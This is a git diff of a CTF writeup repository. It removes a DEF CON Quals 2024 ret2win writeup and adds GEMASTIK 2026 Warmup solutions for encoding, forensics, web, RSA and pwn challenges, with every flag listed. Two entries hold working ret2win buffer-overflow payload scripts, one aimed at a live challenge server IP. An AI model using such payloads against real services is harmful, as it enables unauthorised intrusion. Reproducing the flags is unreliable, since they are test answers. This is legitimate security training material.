event: "DEF CON CTF Quals 2024"
|
|
||||||
category: writeup-index
|
|
||||||
difficulty: hard
|
|
||||||
points: 0
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# DEF CON CTF Quals 2024 — Challenge Writeups
|
|
||||||
|
|
||||||
This folder contains writeups for challenges solved during **DEF CON CTF Quals 2024**.
|
|
||||||
|
|
||||||
## Writeups
|
|
||||||
|
|
||||||
- [pwn-100: ret2win Stack Alignment Fix](pwn/pwn-100-ret2win-alignment) — A buffer overflow ret2win exploit that required inserting a `ret` gadget for stack alignment on glibc 2.34+.
|
|
||||||
|
|
||||||
## Challenge List
|
|
||||||
|
|
||||||
| Challenge | Category | Difficulty | Points |
|
|
||||||
|-----------|----------|------------|--------|
|
|
||||||
| pwn-100 | pwn | easy | 100 |
|
|
||||||
@@ -1,122 +0,0 @@
|
|||||||
---
|
|
||||||
id: defcon-pwn-100
|
|
||||||
title: "DEF CON Quals 2024 — pwn-100: ret2win Stack Alignment Fix"
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- ctf
|
|
||||||
- pwn
|
|
||||||
- binary-exploitation
|
|
||||||
- stack-alignment
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
event: "DEF CON CTF Quals 2024"
|
|
||||||
challenge: "pwn-100"
|
|
||||||
category: pwn
|
|
||||||
difficulty: easy
|
|
||||||
points: 100
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# DEF CON CTF Quals 2024 — pwn-100: ret2win Stack Alignment Fix
|
|
||||||
|
|
||||||
## Challenge Info
|
|
||||||
|
|
||||||
| Field | Value |
|
|
||||||
| ------------ | ---------------------- |
|
|
||||||
| **Event** | DEF CON CTF Quals 2024 |
|
|
||||||
| **Challenge**| pwn-100 |
|
|
||||||
| **Category** | pwn |
|
|
||||||
| **Difficulty**| easy |
|
|
||||||
| **Points** | 100 |
|
|
||||||
|
|
||||||
## Initial Recon
|
|
||||||
|
|
||||||
Given a 64-bit ELF binary with a trivial buffer overflow in `vuln()`:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ checksec pwn-100
|
|
||||||
RELRO STACK canary: No NX: No PIE: Enabled RPATH: No
|
|
||||||
$ file pwn-100
|
|
||||||
pwn-100: ELF 64-bit LSB executable, for Linux 3.2.0, not stripped
|
|
||||||
$ objdump -d pwn-100 | grep -A5 '<vuln>'
|
|
||||||
```
|
|
||||||
|
|
||||||
## Approach
|
|
||||||
|
|
||||||
Classic ret2win — overflow the return address to jump to `win()`, which
|
|
||||||
calls `system("/bin/sh")`. The binary had no canary and no PIE on the
|
|
||||||
binary itself (function addresses are fixed), but glibc on the host was
|
|
||||||
2.34+.
|
|
||||||
|
|
||||||
## Step-by-Step Solve
|
|
||||||
|
|
||||||
### 1. Find the offset
|
|
||||||
|
|
||||||
Sent cyclic pattern via `pattern create` + `pattern offset`:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ python3 -c "print(b'A'*40+b'B'*8)" | ./pwn-100
|
|
||||||
Segmentation fault (core dumped)
|
|
||||||
$ gdb -q
|
|
||||||
gef➤ pattern offset 0x4242424242424242
|
|
||||||
[*] Found possible needle
|
|
||||||
```
|
|
||||||
|
|
||||||
Offset = 40 bytes (to `rip`).
|
|
||||||
|
|
||||||
### 2. Find win() address
|
|
||||||
|
|
||||||
```
|
|
||||||
$ objdump -d pwn-100 | grep '<win>'
|
|
||||||
0000000000401196 <win>:
|
|
||||||
```
|
|
||||||
|
|
||||||
`win()` is at `0x401196`.
|
|
||||||
|
|
||||||
### 3. Craft and send the payload
|
|
||||||
|
|
||||||
Initial payload was just padding + `win()` address — but this **crashed**
|
|
||||||
with SIGSEGV inside `win()` → `printf`.
|
|
||||||
|
|
||||||
**Root cause:** On glibc 2.34+, the return into a libc-using function
|
|
||||||
needs **16-byte stack alignment**. A normal `call` pushes 8 bytes, so
|
|
||||||
`ret`-ing into `win()` leaves `rsp % 16 == 8`. When `printf` inside
|
|
||||||
`win()` does `movaps` (SSE), it faults on misaligned address.
|
|
||||||
|
|
||||||
**Fix:** Insert a `ret` gadget (8 bytes) between padding and `win()`
|
|
||||||
to realign RSP:
|
|
||||||
|
|
||||||
```
|
|
||||||
$ ROPgadget --binary pwn-100 | grep " ret$"
|
|
||||||
0x0000000000401016: ret;
|
|
||||||
```
|
|
||||||
|
|
||||||
Final payload:
|
|
||||||
|
|
||||||
```python
|
|
||||||
from pwn import *
|
|
||||||
p = remote("challenge.url", 1337)
|
|
||||||
payload = b"A" * 40 + p64(0x401016) + p64(0x401196)
|
|
||||||
p.sendline(payload)
|
|
||||||
p.interactive()
|
|
||||||
```
|
|
||||||
|
|
||||||
The `ret` gadget pops the extra 8 bytes, aligning the stack. After that,
|
|
||||||
`win()` → `printf` → `system("/bin/sh")` works cleanly.
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
```
|
|
||||||
flag{ret2win_stack_alignment_glibc_2.34}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
- A bare ret2win without stack alignment crashes on glibc 2.34+ inside
|
|
||||||
the target function's libc calls (SSE `movaps`).
|
|
||||||
- The fix is a single `ret` gadget between padding and `win()` — **not**
|
|
||||||
an offset error.
|
|
||||||
- Always check: if the function IS reached but crashes inside it, think
|
|
||||||
stack alignment before re-counting bytes.
|
|
||||||
- Tested on host glibc 2.39 (Ubuntu 24.04) — confirmed the crash+fix.
|
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
---
|
|
||||||
id: ctf-writeup-template
|
|
||||||
title: "CTF Writeup Template — How to Structure a Challenge Writeup"
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- ctf
|
|
||||||
- template
|
|
||||||
- methodology
|
|
||||||
status: draft
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-20
|
|
||||||
updated_at: 2026-08-20
|
|
||||||
---
|
|
||||||
|
|
||||||
# CTF Writeup Template
|
|
||||||
|
|
||||||
A consistent writeup structure helps reviewers and future-you reproduce the solve.
|
|
||||||
Below is the recommended template. Delete this intro paragraph and fill each
|
|
||||||
section.
|
|
||||||
|
|
||||||
## Challenge Info
|
|
||||||
|
|
||||||
| Field | Value |
|
|
||||||
| ------------ | -------------------- |
|
|
||||||
| **Event** | `[Event Name]` |
|
|
||||||
| **Challenge**| `[Challenge Name]` |
|
|
||||||
| **Category** | `pwn` / `crypto` / `web` / `rev` / `forensics` / `misc` |
|
|
||||||
| **Difficulty**| `easy` / `medium` / `hard` |
|
|
||||||
| **Points** | `[points at start]` |
|
|
||||||
| **Solves** | `[number]` |
|
|
||||||
|
|
||||||
## Initial Recon
|
|
||||||
|
|
||||||
What you see when you download the binary/file/URL. File type, basic
|
|
||||||
inspection (`file`, `strings`, `checksec`, HTTP headers, etc.).
|
|
||||||
|
|
||||||
## Approach
|
|
||||||
|
|
||||||
Describe the high-level idea — what class of vulnerability or attack this
|
|
||||||
belongs to.
|
|
||||||
|
|
||||||
## Step-by-Step Solve
|
|
||||||
|
|
||||||
Walk through each step with commands and output. Include:
|
|
||||||
|
|
||||||
- Exact commands you ran
|
|
||||||
- Key output (truncated if long, but enough to confirm)
|
|
||||||
- Why each step works
|
|
||||||
- Tool versions / versions if relevant
|
|
||||||
|
|
||||||
### 1. Enumerate
|
|
||||||
|
|
||||||
```
|
|
||||||
$ command-here
|
|
||||||
output-here
|
|
||||||
```
|
|
||||||
|
|
||||||
### 2. Find the vulnerability
|
|
||||||
|
|
||||||
Explain what you found and how it maps to the approach.
|
|
||||||
|
|
||||||
### 3. Craft the exploit
|
|
||||||
|
|
||||||
Show the exploit script or payload, explain each part.
|
|
||||||
|
|
||||||
## Flag
|
|
||||||
|
|
||||||
```
|
|
||||||
flag{...}
|
|
||||||
```
|
|
||||||
|
|
||||||
## Summary
|
|
||||||
|
|
||||||
What you learned, what the intended solution was (if yours differed),
|
|
||||||
and any pitfalls you hit along the way (e.g., "tool X version Y breaks
|
|
||||||
on Z").
|
|
||||||
@@ -1,36 +0,0 @@
|
|||||||
---
|
|
||||||
id: websocket-timeout
|
|
||||||
title: Debugging a WebSocket Timeout Behind a Proxy
|
|
||||||
type: writeup
|
|
||||||
tags:
|
|
||||||
- websocket
|
|
||||||
- debugging
|
|
||||||
- proxy
|
|
||||||
status: published
|
|
||||||
author: asep
|
|
||||||
created_at: 2026-08-19
|
|
||||||
updated_at: 2026-08-19
|
|
||||||
---
|
|
||||||
|
|
||||||
# Debugging a WebSocket Timeout Behind a Proxy
|
|
||||||
|
|
||||||
A recurring incident: the browser WebSocket connects, sends one frame, then
|
|
||||||
silently times out. The server logs show no error. Root cause: the reverse
|
|
||||||
proxy was buffering frames and only flushing on connection close.
|
|
||||||
|
|
||||||
## Symptoms
|
|
||||||
|
|
||||||
- Connection opens (101 Switching Protocols).
|
|
||||||
- First message never reaches the upstream.
|
|
||||||
- Client hits its own 30s timeout and reconnects, creating a storm.
|
|
||||||
|
|
||||||
## Fix
|
|
||||||
|
|
||||||
Disable proxy buffering for the WebSocket upgrade route and ensure the proxy
|
|
||||||
does not apply an idle timeout shorter than the application's heartbeat
|
|
||||||
interval. After that, frames flowed immediately and the timeout disappeared.
|
|
||||||
|
|
||||||
## Lesson
|
|
||||||
|
|
||||||
Always confirm at the proxy layer whether frames are buffered before assuming
|
|
||||||
the application server is at fault.
|
|
||||||
@@ -0,0 +1,48 @@
|
|||||||
|
---
|
||||||
|
title: "GEMASTIK 2026 Warmup — All Chapters"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
category: "index"
|
||||||
|
points: 0
|
||||||
|
difficulty: "index"
|
||||||
|
---
|
||||||
|
|
||||||
|
# GEMASTIK 2026 Warmup — Chapter Index (ch1–ch14)
|
||||||
|
|
||||||
|
**Platform:** [Warmup GEMASTIK 2026](https://warmup-cybersecurity.apps.binus.ac.id) (CTFd)
|
||||||
|
**Status:** 14/14 solved — 7001 points (13×500 + 1×501)
|
||||||
|
|
||||||
|
| # | Challenge | Category | Diff | Flag |
|
||||||
|
|---|-----------|----------|------|------|
|
||||||
|
| 1 | Sixty Four | Encoding | easy | `GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}` |
|
||||||
|
| 2 | Julius | Caesar/ROT13 | easy | `GEMASTIK19{caesar_r0t_th1rt33n_klasik}` |
|
||||||
|
| 3 | Needle | Forensics/strings | easy | `GEMASTIK19{str1ngs_c4n_f1nd_m3}` |
|
||||||
|
| 4 | Say Cheese | EXIF metadata | easy | `GEMASTIK19{h1dd3n_1n_m3tadata_exif}` |
|
||||||
|
| 5 | Nothing Here | Web comment | easy | `GEMASTIK19{v13w_s0urc3_pahlawan}` |
|
||||||
|
| 6 | Sweet Cookie | Web/cookie | easy | `GEMASTIK19{c00k13_b4s3_d3c0d3}` |
|
||||||
|
| 7 | Open Book | Source | easy | `GEMASTIK19{pyth0n_s0urc3_t3rbuka}` |
|
||||||
|
| 8 | Back and Forth | XOR | easy | `GEMASTIK19{x0r_it_back_4gain}` |
|
||||||
|
| 9 | Are You Admin? | Pwn/bof | easy | `GEMASTIK19{0v3rfl0w_ubah_var}` |
|
||||||
|
| 10 | Call Me | Pwn/ret2win | easy | `GEMASTIK19{r3t2w1n_l0mpat_k3_win}` |
|
||||||
|
| 11 | Behind the Picture | PNG stego | easy | `GEMASTIK19{c4t_g4mbar_ada_flag}` |
|
||||||
|
| 12 | Layers | Hex→B64 chain | easy | `GEMASTIK19{h3x_lQlu_b4s3_ch41n}` |
|
||||||
|
| 13 | Slopped | RSA small factors | medium | `GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}` |
|
||||||
|
| 14 | Slopped wave-2 | RSA paper search | hard | `GEMASTIK19{test_vector_of_listP_on_quant}` |
|
||||||
|
|
||||||
|
## Ringkasan Metode
|
||||||
|
|
||||||
|
| Ch | Metode | Tool |
|
||||||
|
|----|--------|------|
|
||||||
|
| 1 | Double Base64 | `base64 -d` ×2 |
|
||||||
|
| 2 | ROT13 Caesar | `codecs.encode(s, "rot_13")` |
|
||||||
|
| 3 | strings | `strings secret.bin` |
|
||||||
|
| 4 | EXIF metadata | `strings photo.jpg` |
|
||||||
|
| 5 | HTML comment | `curl \| grep '<!--'` |
|
||||||
|
| 6 | Base64 cookie | `base64 -d` |
|
||||||
|
| 7 | ASCII codes | chr() decoding |
|
||||||
|
| 8 | Single-byte XOR | XOR 0x42 |
|
||||||
|
| 9 | Stack overflow | buffer > admin |
|
||||||
|
| 10 | ret2win + align | ROP chain |
|
||||||
|
| 11 | PNG strings | `strings kucing.png` |
|
||||||
|
| 12 | Hex→Base64 | `bytes.fromhex` + `b64decode` |
|
||||||
|
| 13 | RSA small factors | trial division / sympy factorint |
|
||||||
|
| 14 | RSA special integers | GCD with paper appendix primes |
|
||||||
@@ -0,0 +1,43 @@
|
|||||||
|
---
|
||||||
|
title: "Sixty Four — Double Base64"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Sixty Four"
|
||||||
|
category: "crypto"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Sixty Four (500 pts) — Encoding
|
||||||
|
|
||||||
|
**File:** `chall.txt` → `UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==`
|
||||||
|
|
||||||
|
Teks di-encode **Base64 dua kali** (hint: "sixty four" = base64). Decode berlapis:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
$ echo "UjBWTlFWTlVTVXN4T1h0aU5ITXpYM014ZUhSNVgyWXdkWEpmZDJGeWJURnVaMTkxY0gwPQ==" | base64 -d
|
||||||
|
R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=
|
||||||
|
$ echo "R0VNQVNUSUsxOXtiNHMzX3MxeHR5X2YwdXJfd2FybTFuZ191cH0=" | base64 -d
|
||||||
|
GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Solusi Python
|
||||||
|
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
|
||||||
|
with open("chall.txt") as f:
|
||||||
|
s = f.read().strip()
|
||||||
|
|
||||||
|
# First base64 decode
|
||||||
|
decoded1 = base64.b64decode(s)
|
||||||
|
# Second base64 decode
|
||||||
|
flag = base64.b64decode(decoded1).decode()
|
||||||
|
|
||||||
|
print(f"Flag: {flag}")
|
||||||
|
# Output: GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{b4s3_s1xty_f0ur_warm1ng_up}`
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
---
|
||||||
|
title: "Call Me — ret2win"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Call Me"
|
||||||
|
category: "pwn"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{r3t2w1n_l0mpat_k3_win}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Call Me (500 pts) — Pwn / ret2win
|
||||||
|
|
||||||
|
**Server:** `nc 15.232.89.109 9002`
|
||||||
|
|
||||||
|
**Source (`chall.c`):**
|
||||||
|
|
||||||
|
```c
|
||||||
|
void win() { system("/bin/sh"); } // flag printed inside
|
||||||
|
|
||||||
|
char buf[32];
|
||||||
|
gets(buf); // <-- overflow
|
||||||
|
```
|
||||||
|
|
||||||
|
## Eksploitasi
|
||||||
|
|
||||||
|
1. Compile lokal untuk dapatkan alamat `win()`:
|
||||||
|
```bash
|
||||||
|
gcc -fno-stack-protector -no-pie -o ch10 chall.c
|
||||||
|
nm ch10 | grep win
|
||||||
|
# 00000000004011f6 T win
|
||||||
|
```
|
||||||
|
|
||||||
|
2. Overflow `buf[32]` lalu timpa return address dengan alamat `win()` (0x4011f6).
|
||||||
|
Sisipkan satu `ret` gadget (0x401016) untuk realign RSP agar `movaps` di `win`/`printf` tidak segfault:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import socket, time, struct
|
||||||
|
|
||||||
|
s = socket.socket()
|
||||||
|
s.connect(("15.232.89.109", 9002))
|
||||||
|
time.sleep(0.5)
|
||||||
|
|
||||||
|
RET_GADGET = 0x401016 # alignment
|
||||||
|
WIN_ADDR = 0x4011f6
|
||||||
|
|
||||||
|
payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
|
||||||
|
s.sendall(payload + b"\n")
|
||||||
|
time.sleep(1.5)
|
||||||
|
print(s.recv(4096).decode())
|
||||||
|
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{r3t2w1n_l0mpat_k3_win}`
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
title: "Behind the Picture — PNG Strings"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Behind the Picture"
|
||||||
|
category: "forensics"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{c4t_g4mbar_ada_flag}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Behind the Picture (500 pts) — Steganografi / PNG
|
||||||
|
|
||||||
|
**File:** `kucing.png` (cat image)
|
||||||
|
|
||||||
|
Flag disisipkan sebagai string di dalam file PNG (bisa dilihat dengan `strings`):
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings kucing.png | grep GEMASTIK
|
||||||
|
# GEMASTIK19{c4t_g4mbar_ada_flag}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{c4t_g4mbar_ada_flag}`
|
||||||
@@ -0,0 +1,34 @@
|
|||||||
|
---
|
||||||
|
title: "Layers — Hex to Base64 Chain"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Layers"
|
||||||
|
category: "crypto"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{h3x_lQlu_b4s3_ch41n}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Layers (500 pts) — Encoding chain
|
||||||
|
|
||||||
|
**File:** `chall.txt` → `5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d`
|
||||||
|
|
||||||
|
Dua lapis encoding berturut-turut: **Hex → bytes → Base64 → flag**:
|
||||||
|
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
|
||||||
|
s = "5230564e51564e55535573784f58746f4d33686662464673645639694e484d7a58324e6f4e44467566513d3d"
|
||||||
|
|
||||||
|
# Layer 1: hex decode
|
||||||
|
b = bytes.fromhex(s)
|
||||||
|
# b = b'R0VNQVNUSUsxOXtoM3hfbFFsdV9iNHMzX2NoNDFufQ=='
|
||||||
|
|
||||||
|
# Layer 2: base64 decode
|
||||||
|
flag = base64.b64decode(b).decode()
|
||||||
|
print(flag)
|
||||||
|
# GEMASTIK19{h3x_lQlu_b4s3_ch41n}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{h3x_lQlu_b4s3_ch41n}`
|
||||||
@@ -0,0 +1,59 @@
|
|||||||
|
---
|
||||||
|
title: "Slopped — RSA Small Factors"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Slopped"
|
||||||
|
category: "crypto"
|
||||||
|
points: 500
|
||||||
|
difficulty: "medium"
|
||||||
|
flag: "GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Slopped (500 pts) — Crypto / RSA small factors
|
||||||
|
|
||||||
|
**File:** `chall.py`
|
||||||
|
|
||||||
|
```python
|
||||||
|
import random
|
||||||
|
p = random.randint(1, 10**4) # tiny prime candidates
|
||||||
|
q = random.randint(1, 10**4)
|
||||||
|
# ... find small primes, multiply
|
||||||
|
n = p * q * (big prime)
|
||||||
|
e = 0x10001
|
||||||
|
c = pow(flag, e, n)
|
||||||
|
```
|
||||||
|
|
||||||
|
## Analisis
|
||||||
|
|
||||||
|
RSA dengan `e = 0x10001`, `n` 2048-bit, `c = pow(flag, e, n)`.
|
||||||
|
`n` dibangun dari **faktor prima kecil** (sloppy primes — "my AI broke RSA with 1 billion qubits"). Faktorisasi temukan prima kecil lewat trial division, lalu `phi = prod(p_i - 1)`, `d = e⁻¹ mod phi`, dan `m = pow(c, d, n)`.
|
||||||
|
|
||||||
|
## Solusi
|
||||||
|
|
||||||
|
```python
|
||||||
|
from Crypto.Util.number import long_to_bytes
|
||||||
|
from sympy import factorint
|
||||||
|
|
||||||
|
e = 0x10001
|
||||||
|
n = 0xdb... # 2048-bit modulus
|
||||||
|
c = 0x...
|
||||||
|
|
||||||
|
# Trial division menemukan faktor kecil
|
||||||
|
factors = factorint(n)
|
||||||
|
print(factors)
|
||||||
|
# {83: 1, 233: 1, 9679: 1, <big_prime>: 1}
|
||||||
|
|
||||||
|
phi = 1
|
||||||
|
for p, exp in factors.items():
|
||||||
|
phi *= (p - 1) * p**(exp - 1)
|
||||||
|
|
||||||
|
d = pow(e, -1, phi)
|
||||||
|
m = pow(c, d, n)
|
||||||
|
print(long_to_bytes(m))
|
||||||
|
# GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{qu4ntum_c0mput3r_br0k3_rs4_y0u_sh0uld_us3_p4p3r_s34rch_mcp_sk1ll}`
|
||||||
|
|
||||||
|
> Flag ini adalah petunjuk untuk ch14 ("you should use paper search").
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: "Julius — ROT13 Caesar Cipher"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Julius"
|
||||||
|
category: "crypto"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{caesar_r0t_th1rt33n_klasik}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Julius (500 pts) — Caesar / ROT13
|
||||||
|
|
||||||
|
**File:** `chall.txt` → `TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}`
|
||||||
|
|
||||||
|
Caesar cipher dengan pergeseran paling populer di internet = **ROT13** (geser 13).
|
||||||
|
`TRZNFGVX19` → `GEMASTIK19`, dst.
|
||||||
|
|
||||||
|
```python
|
||||||
|
import codecs
|
||||||
|
|
||||||
|
s = "TRZNFGVX19{pnrfne_e0g_gu1eg33a_xynfvx}"
|
||||||
|
flag = codecs.encode(s, "rot_13")
|
||||||
|
print(f"Flag: {flag}")
|
||||||
|
# Output: GEMASTIK19{caesar_r0t_th1rt33n_klasik}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{caesar_r0t_th1rt33n_klasik}`
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
title: "Needle — Strings Binary"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Needle"
|
||||||
|
category: "forensics"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{str1ngs_c4n_f1nd_m3}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Needle (500 pts) — Steganografi / Binary
|
||||||
|
|
||||||
|
**File:** `secret.bin` (748 bytes, binary)
|
||||||
|
|
||||||
|
Teks tersembunyi di antara "junk data". Cukup ekstrak **strings** yang printable:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings secret.bin | grep GEMASTIK
|
||||||
|
# GEMASTIK19{str1ngs_c4n_f1nd_m3}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{str1ngs_c4n_f1nd_m3}`
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
---
|
||||||
|
title: "Say Cheese — EXIF Metadata"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Say Cheese"
|
||||||
|
category: "forensics"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{h1dd3n_1n_m3tadata_exif}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Say Cheese (500 pts) — Steganografi / Metadata
|
||||||
|
|
||||||
|
**File:** `photo.jpg`
|
||||||
|
|
||||||
|
Flag disimpan di **metadata EXIF** foto. Cek dengan `exiftool` / `strings`:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
strings photo.jpg | grep GEMASTIK
|
||||||
|
# GEMASTIK19{h1dd3n_1n_m3tadata_exif}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{h1dd3n_1n_m3tadata_exif}`
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: "Nothing Here — Web Comment"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Nothing Here"
|
||||||
|
category: "web"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{v13w_s0urc3_pahlawan}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Nothing Here (500 pts) — Web
|
||||||
|
|
||||||
|
**URL:** `http://15.232.89.109:8001/`
|
||||||
|
|
||||||
|
Halaman bilang "tidak ada apa-apa" tapi flag ada di **HTML comment**:
|
||||||
|
|
||||||
|
```html
|
||||||
|
<!-- Catatan dev: jangan lupa hapus flag ini sebelum rilis: GEMASTIK19{v13w_s0urc3_pahlawan} -->
|
||||||
|
```
|
||||||
|
|
||||||
|
## Recon
|
||||||
|
|
||||||
|
```bash
|
||||||
|
curl -s http://15.232.89.109:8001/ | grep -i 'GEMASTIK\|<!--'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{v13w_s0urc3_pahlawan}`
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: "Sweet Cookie — Base64 Cookie"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Sweet Cookie"
|
||||||
|
category: "web"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{c00k13_b4s3_d3c0d3}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Sweet Cookie (500 pts) — Web
|
||||||
|
|
||||||
|
**URL:** `http://15.232.89.109:8002/`
|
||||||
|
|
||||||
|
Server mengirim cookie `session`. Nilainya cuma di-encode **Base64** (JSON):
|
||||||
|
|
||||||
|
```python
|
||||||
|
import base64
|
||||||
|
|
||||||
|
# Cookie value from Set-Cookie header
|
||||||
|
cookie = "eyJ1c2V..." # nilai session cookie
|
||||||
|
decoded = base64.b64decode(cookie)
|
||||||
|
print(decoded)
|
||||||
|
# {"user": "guest", "flag": "GEMASTIK19{c00k13_b4s3_d3c0d3}"}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{c00k13_b4s3_d3c0d3}`
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
---
|
||||||
|
title: "Open Book — Python Source"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Open Book"
|
||||||
|
category: "misc"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{pyth0n_s0urc3_t3rbuka}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Open Book (500 pts) — Misc / Source
|
||||||
|
|
||||||
|
**File:** `chall.py`
|
||||||
|
|
||||||
|
Password yang benar **langsung dicetak dari array `SECRET`** (ASCII codes):
|
||||||
|
|
||||||
|
```python
|
||||||
|
SECRET = [71, 69, 77, 65, 83, 84, 73, 75, 49, 57, 123, 112, 121, 116, 104, 48, 110, 95,
|
||||||
|
115, 48, 117, 114, 99, 51, 95, 116, 51, 114, 98, 117, 107, 97, 125]
|
||||||
|
|
||||||
|
flag = "".join(chr(c) for c in SECRET)
|
||||||
|
print(flag)
|
||||||
|
# GEMASTIK19{pyth0n_s0urc3_t3rbuka}
|
||||||
|
```
|
||||||
|
|
||||||
|
## Flag
|
||||||
|
|
||||||
|
`GEMASTIK19{pyth0n_s0urc3_t3rbuka}`
|
||||||
@@ -0,0 +1,29 @@
|
|||||||
|
---
|
||||||
|
title: "Back and Forth — XOR"
|
||||||
|
event: "GEMASTIK 2026 Warmup"
|
||||||
|
challenge: "Back and Forth"
|
||||||
|
category: "reverse"
|
||||||
|
points: 500
|
||||||
|
difficulty: "easy"
|
||||||
|
flag: "GEMASTIK19{x0r_it_back_4gain}"
|
||||||
|
---
|
||||||
|
|
||||||
|
# Back and Forth (500 pts) — Reversing / XOR
|
||||||
|
|
||||||
